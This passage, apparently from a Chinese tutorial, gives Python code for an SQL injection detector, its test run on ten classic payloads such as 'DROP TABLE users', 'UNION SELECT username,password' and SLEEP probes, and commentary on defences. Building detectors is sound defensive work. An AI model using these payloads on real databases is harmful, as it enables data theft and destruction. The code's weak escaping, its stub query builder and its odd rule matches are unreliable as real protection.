            suggestions.append("实现输入验证,拒绝包含未闭合引号的输入")

        if not suggestions:
            suggestions = [
                "使用参数化查询(Prepared Statements)",
                "实施严格的输入验证和过滤",
                "遵循最小权限原则配置数据库账户",
                "对敏感操作添加额外的认证和授权"
            ]

        return suggestions


class SQLInjectionProtector:
    def __init__(self):
        self.detector = SQLInjectionDetector()

    def protect(self, user_input: str, query_template: str = None) -> Tuple[bool, str, List[str]]:
        result = self.detector.detect(user_input)

        if result.is_safe:
            escaped_input = self._escape_input(user_input)
            return True, escaped_input, result.suggestions

        return False, "", result.suggestions

    def _escape_input(self, user_input: str) -> str:
        escaped = user_input.replace("'", "''")
        escaped = escaped.replace("\\", "\\\\")
        return escaped

    def validate_and_sanitize(self, user_input: str, expected_type: str = "string") -> Tuple[bool, str]:
        if expected_type == "integer":
            try:
                sanitized = str(int(user_input))
                return True, sanitized
            except ValueError:
                return False, ""

        if expected_type == "string":
            sanitized = re.sub(r'[^\w\s\-_]', '', user_input)
            return True, sanitized

        return True, user_input

    def generate_safe_query(self, template: str, params: List) -> str:
        return template

    def get_protection_report(self, user_input: str) -> Dict:
        detection_result = self.detector.detect(user_input)

        return {
            'input': user_input[:100] + '...' if len(user_input) > 100 else user_input,
            'is_safe': detection_result.is_safe,
            'threat_level': detection_result.threat_level.value,
            'matched_rules': detection_result.matched_rules,
            'details': detection_result.details,
            'suggestions': detection_result.suggestions,
            'protection_measures': [
                '使用参数化查询',
                '输入验证与过滤',
                '最小权限原则',
                'Web应用防火墙(WAF)',
                '数据库日志监控'
            ]
        }


def main():
    protector = SQLInjectionProtector()
    detector = protector.detector

    test_cases = [
        "admin' OR '1'='1",
        "1; DROP TABLE users--",
        "1 UNION SELECT username,password FROM users",
        "1' AND (SELECT COUNT(*) FROM users) > 0--",
        "1'; WAITFOR DELAY '0:0:5'--",
        "admin",
        "Robert'); DROP TABLE Students;--",
        "1' ORDER BY 1--",
        "' OR 1=1 LIMIT 1--",
        "1' AND SLEEP(5)--",
    ]

    print("=" * 70)
    print("SQL注入检测与防护系统")
    print("=" * 70)

    for test_input in test_cases:
        result = detector.detect(test_input)
        print(f"\n输入: {test_input}")
        print(f"安全状态: {'✓ 安全' if result.is_safe else '✗ 危险'}")
        print(f"威胁等级: {result.threat_level.value}")
        if result.matched_rules:
            print(f"匹配规则:")
            for rule in result.matched_rules:
                print(f"  - {rule}")
        if result.suggestions:
            print(f"修复建议:")
            for suggestion in result.suggestions[:2]:
                print(f"  → {suggestion}")
        print("-" * 70)

    print("\n" + "=" * 70)
    print("防护报告示例")
    print("=" * 70)
    report = protector.get_protection_report("admin' OR '1'='1")
    print(f"\n威胁等级: {report['threat_level']}")
    print(f"检测详情: {report['details']}")
    print(f"\n推荐防护措施:")
    for measure in report['protection_measures']:
        print(f"  • {measure}")


if __name__ == "__main__":
    main()
======================================================================
SQL注入检测与防护系统
======================================================================

输入: admin' OR '1'='1
安全状态: ✗ 危险
威胁等级: low
匹配规则:
  - 规则匹配: OR/AND条件注入
  - 规则匹配: 空值比较注入
  - 恒真条件检测
修复建议:
  → 使用参数化查询(Prepared Statements)
  → 实施严格的输入验证和过滤
----------------------------------------------------------------------

输入: 1; DROP TABLE users--
安全状态: ✗ 危险
威胁等级: critical
匹配规则:
  - 规则匹配: 多语句注入
  - 规则匹配: 行注释注入
  - 关键字检测: DROP
  - 注释符号检测
  - 堆叠查询检测
修复建议:
  → 使用参数化查询(Prepared Statements)
  → 实施严格的输入验证和过滤
----------------------------------------------------------------------

输入: 1 UNION SELECT username,password FROM users
安全状态: ✗ 危险
威胁等级: critical
匹配规则:
  - 关键字检测: UNION
  - 关键字检测: SELECT
  - 危险函数: ORD (common)
  - UNION注入检测
修复建议:
  → 使用参数化查询,避免拼接SQL语句
----------------------------------------------------------------------

输入: 1' AND (SELECT COUNT(*) FROM users) > 0--
安全状态: ✗ 危险
威胁等级: medium
匹配规则:
  - 规则匹配: 行注释注入
  - 关键字检测: SELECT
  - 注释符号检测
  - 引号不平衡
修复建议:
  → 实现输入验证,拒绝包含未闭合引号的输入
----------------------------------------------------------------------

输入: 1'; WAITFOR DELAY '0:0:5'--
安全状态: ✗ 危险
威胁等级: high
匹配规则:
  - 规则匹配: 行注释注入
  - 关键字检测: WAITFOR
  - 关键字检测: DELAY
  - 注释符号检测
  - 危险函数: WAITFOR (common)
  - 危险函数: DELAY (common)
  - 引号不平衡
修复建议:
  → 实现输入验证,拒绝包含未闭合引号的输入
----------------------------------------------------------------------

输入: admin
安全状态: ✓ 安全
威胁等级: safe
修复建议:
  → 使用参数化查询(Prepared Statements)
  → 实施严格的输入验证和过滤
----------------------------------------------------------------------

输入: Robert'); DROP TABLE Students;--
安全状态: ✗ 危险
威胁等级: critical
匹配规则:
  - 规则匹配: 多语句注入
  - 规则匹配: 行注释注入
  - 关键字检测: DROP
  - 注释符号检测
  - 引号不平衡
  - 堆叠查询检测
修复建议:
  → 实现输入验证,拒绝包含未闭合引号的输入
----------------------------------------------------------------------

输入: 1' ORDER BY 1--
安全状态: ✗ 危险
威胁等级: low
匹配规则:
  - 规则匹配: 行注释注入
  - 注释符号检测
  - 危险函数: ORD (common)
  - 引号不平衡
修复建议:
  → 实现输入验证,拒绝包含未闭合引号的输入
----------------------------------------------------------------------

输入: ' OR 1=1 LIMIT 1--
安全状态: ✗ 危险
威胁等级: low
匹配规则:
  - 规则匹配: OR/AND条件注入
  - 规则匹配: 数字永真注入
  - 规则匹配: 行注释注入
  - 注释符号检测
  - 可解析为SQL语句
  - 引号不平衡
  - 恒真条件检测
修复建议:
  → 实现输入验证,拒绝包含未闭合引号的输入
----------------------------------------------------------------------

输入: 1' AND SLEEP(5)--
安全状态: ✗ 危险
威胁等级: high
匹配规则:
  - 规则匹配: 行注释注入
  - 关键字检测: SLEEP
  - 注释符号检测
  - 危险函数: SLEEP (mysql)
  - 引号不平衡
修复建议:
  → 实现输入验证,拒绝包含未闭合引号的输入
----------------------------------------------------------------------

======================================================================
防护报告示例
======================================================================

威胁等级: low
检测详情: 检测到注入模式: OR/AND条件注入; 检测到注入模式: 空值比较注入; 检测到可能导致恒真条件的模式

推荐防护措施:
  • 使用参数化查询
  • 输入验证与过滤
  • 最小权限原则
  • Web应用防火墙(WAF)
  • 数据库日志监控
序号输入内容(简化)安全状态威胁等级主要匹配规则(精选)核心修复建议
1admin' OR '1'='1✗ 危险lowOR/AND条件注入;空值比较注入;恒真条件检测使用参数化查询;严格输入验证
21; DROP TABLE users--✗ 危险critical多语句注入;行注释注入;关键字 DROP;堆叠查询检测使用参数化查询;严格输入验证
31 UNION SELECT username,password FROM users✗ 危险critical关键字 UNION/SELECT;危险函数 ORD;UNION注入检测使用参数化查询,避免拼接SQL
41' AND (SELECT COUNT(*) FROM users) > 0--✗ 危险medium行注释注入;关键字 SELECT;引号不平衡拒绝包含未闭合引号的输入
51'; WAITFOR DELAY '0:0:5'--✗ 危险high行注释注入;关键字 WAITFOR/DELAY;引号不平衡拒绝包含未闭合引号的输入
6admin✓ 安全safe无匹配规则仍建议使用参数化查询与输入验证
7Robert'); DROP TABLE Students;--✗ 危险critical多语句注入;行注释注入;关键字 DROP;引号不平衡;堆叠查询检测拒绝包含未闭合引号的输入
81' ORDER BY 1--✗ 危险low行注释注入;危险函数 ORD;引号不平衡拒绝包含未闭合引号的输入
9' OR 1=1 LIMIT 1--✗ 危险lowOR/AND条件注入;数字永真注入;行注释注入;引号不平衡;恒真条件检测拒绝包含未闭合引号的输入
101' AND SLEEP(5)--✗ 危险high行注释注入;关键字 SLEEP;危险函数 SLEEP (mysql);引号不平衡拒绝包含未闭合引号的输入

检测结果摘要

  • 总计测试:10 条输入

  • 检测为危险:9 条

    • critical(严重):3 条(包含 DROPUNION、多语句等)
    • high(高):2 条(时间盲注:WAITFORSLEEP
    • medium(中):1 条(子查询)
    • low(低):3 条(恒真条件、ORDER BY 等)
  • 安全输入:1 条(普通用户名 admin

检测覆盖的主要注入类型

  • 逻辑注入OR '1'='11=1 等恒真条件
  • 联合查询注入UNION SELECT
  • 堆叠查询/多语句注入; DROP TABLE; WAITFOR
  • 时间盲注SLEEP()WAITFOR DELAY
  • 注释绕过-- 注释符号
  • 语法试探ORDER BY、引号不平衡

总的来说,在实际的过程中经常会被过滤掉比较重要的字符,部分WAF产品甚至除基于规则匹配与语义分析的检测原理之外,采用了基于机器学习、深度学习等Pytorch/Tensorflow框架的以“AI对抗AI的新型对抗模式”。

当然,除此之外SQL注入由于通常发生在注册登录等身份认证环节、搜索框或者评论区等带输入点的界面。但是一方面由于登录注册界面采用了图片/数字/短信验证码 ,人脸认证与人机验证(生物识别)、IP锁定策略、双因素认证与金融行业的无密码认证等。一方面加之各个框架越来越成熟有效地避免了简单的SQL注入拼接,比如Spring Boot、Spring Security、ORM,而且企业通常会考虑结合JWT、Cookie、Session、Token来进行双向的有效防护。另一方面,各类企业越来越重视考虑安全问题以及“国家常态化护网”等政策,导致传统的防御手段基本已经实现比较大的覆盖。

综上所述,至少从某些方面来说,个人和团队已经无法轻易地在中大型企业发现此类传统Web安全漏洞了。哪怕你是挖洞高手,挖到SQL注入漏洞往往会结合其他漏洞打一套”组合拳“或者在某个隐蔽的角落里发现此类问题。当然,我注意到有些人群已经转向挖掘其他漏洞或者APP等其他新型资产了。

建议参考文章:

  1. blog.csdn.net/2301_769134…